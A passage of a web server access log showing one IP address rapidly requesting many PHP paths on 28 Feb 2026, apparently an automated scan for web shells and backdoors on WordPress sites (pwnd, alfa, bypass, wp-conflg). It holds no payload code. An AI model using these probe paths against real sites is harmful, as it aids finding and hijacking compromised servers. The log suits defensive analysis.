HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:59 +0300] "GET /wp-content/plugins/pwnd-1/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:59 +0300] "GET /wp-admin/js/widgets/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:59 +0300] "GET /wp-includes/images/smilies/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:59 +0300] "GET /wp-admin/css/colors/light/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:00 +0300] "GET /wp-admin/user/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:14:00 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:00 +0300] "GET /wp-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:01 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:14:01 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:01 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:14:01 +0300] "GET /wp-includes/class-wp-customize-manager-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:14:01 +0300] "GET /wp-includes/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:02 +0300] "GET /images/fm.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:14:02 +0300] "GET /wp-includes/count.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:02 +0300] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:02 +0300] "GET /assets/class_update_plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:03 +0300] "GET /wp-admin/network/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:14:03 +0300] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:14:03 +0300] "GET /wp-admin/network/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:03 +0300] "GET /js/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:14:04 +0300] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:04 +0300] "GET /assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:14:04 +0300] "GET /wp-admin/js/file/incpb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:04 +0300] "GET /images/stories/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:14:04 +0300] "GET /wp-includes/theme-compat/footer-embed-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:14:05 +0300] "GET /wp-includes/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:05 +0300] "GET /home/O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:05 +0300] "GET /wp-includes/l10n/class-wp-translation-file-mo-event.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:05 +0300] "GET /wp-includes/vars-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:05 +0300] "GET /wp-content/themes/twentytwentytwo/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 193.37.32.170 - - [28/Feb/2026:03:14:06 +0300] "GET /style.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:14:06 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:06 +0300] "GET /wp-content/themes/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:06 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:14:06 +0300] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:06 +0300] "GET /wp-includes/id3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:07 +0300] "GET /wp-content/plugins/WordPressCore/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:07 +0300] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:07 +0300] "GET /wp-includes/class-wp-taxonomy.editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:07 +0300] "GET /wp-content/plugins/pwnd/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:08 +0300] "GET /wp-includes/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:14:08 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:08 +0300] "GET /about/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:08 +0300] "GET /wp-content/themes/pridmag/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:14:08 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:14:09 +0300] "GET /images/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:14:09 +0300] "GET /wp-includes/interactivity-api/interactivity-api-xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 193.37.32.170 - - [28/Feb/2026:03:14:09 +0300] "GET /js/mrx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:09 +0300] "GET /wp-includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:10 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:10 +0300] "GET /wp-includes/customize/class-wp-customize-background-position-control-variable.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:10 +0300] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:10 +0300] "GET /wp-content/themes/av.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:11 +0300] "GET /wp-content/plugins/pwnd-1/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:11 +0300] "GET /wp-includes/js/imgareaselect/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:14:11 +0300] "GET /upload/bilder/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:14:11 +0300] "GET /fonts/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:14:11 +0300] "GET /wp-admin/css/colors/blue/pass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:12 +0300] "GET /entrepreneuse.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:12 +0300] "GET /wp-includes/l10n/class-wp-translations-interface.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:12 +0300] "GET /wp-includes/assets/about5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:12 +0300] "GET /wp-admin/maint/lint-branch.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:13 +0300] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:13 +0300] "GET /js/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:13 +0300] "GET /.well-known/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:13 +0300] "GET /index/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:13 +0300] "GET /wp-includes/ID3/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:14 +0300] "GET /function/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:14 +0300] "GET /wp-content/themes/tflow/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:14:14 +0300] "GET /wp-includes/js/dist/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:14 +0300] "GET /testt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:14:14 +0300] "GET /wp-content/uploads/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:14:15 +0300] "GET /wp-admin/js/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:15 +0300] "GET /wp-includes/sitemaps/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:15 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:14:16 +0300] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 193.37.32.170 - - [28/Feb/2026:03:14:16 +0300] "GET /wp-includes/SimplePie/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:14:16 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:16 +0300] "GET /wp-admin/css/colors/blue/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:14:16 +0300] "GET /wp-includes/sitemaps/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:17 +0300] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:17 +0300] "GET /wp-content/plugins/seoo/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:14:17 +0300] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:14:17 +0300] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:17 +0300] "GET /wp-content/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:14:18 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:18 +0300] "GET /wp-includes/js/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:18 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:18 +0300] "GET /wp-admin/css/colors/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:19 +0300] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:19 +0300] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:14:19 +0300] "GET /wp-includes/sitemaps/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:19 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:14:20 +0300] "GET /wp-includes/widgets/class-wp-widget-search-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:20 +0300] "GET /wp-admin/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:14:20 +0300] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:20 +0300] "GET /wp-content/plugins/pwnd/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:20 +0300] "GET /wp-includes/block-template-utils-other.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:21 +0300] "GET /wp-content/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:14:21 +0300] "GET /css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:21 +0300] "GET /wp-includes/sodium_compat/lib/widget-group.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:14:21 +0300] "GET /wp-content/raw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:22 +0300] "GET /wp-includes/js/jcrop/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:22 +0300] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:22 +0300] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:14:22 +0300] "GET /wp-content/uploads/2021/wp-works.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:23 +0300] "GET /wp-admin/media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:23 +0300] "GET /media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:14:23 +0300] "GET /js/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:23 +0300] "GET /wp-content/uploads/2021/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:23 +0300] "GET /admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; 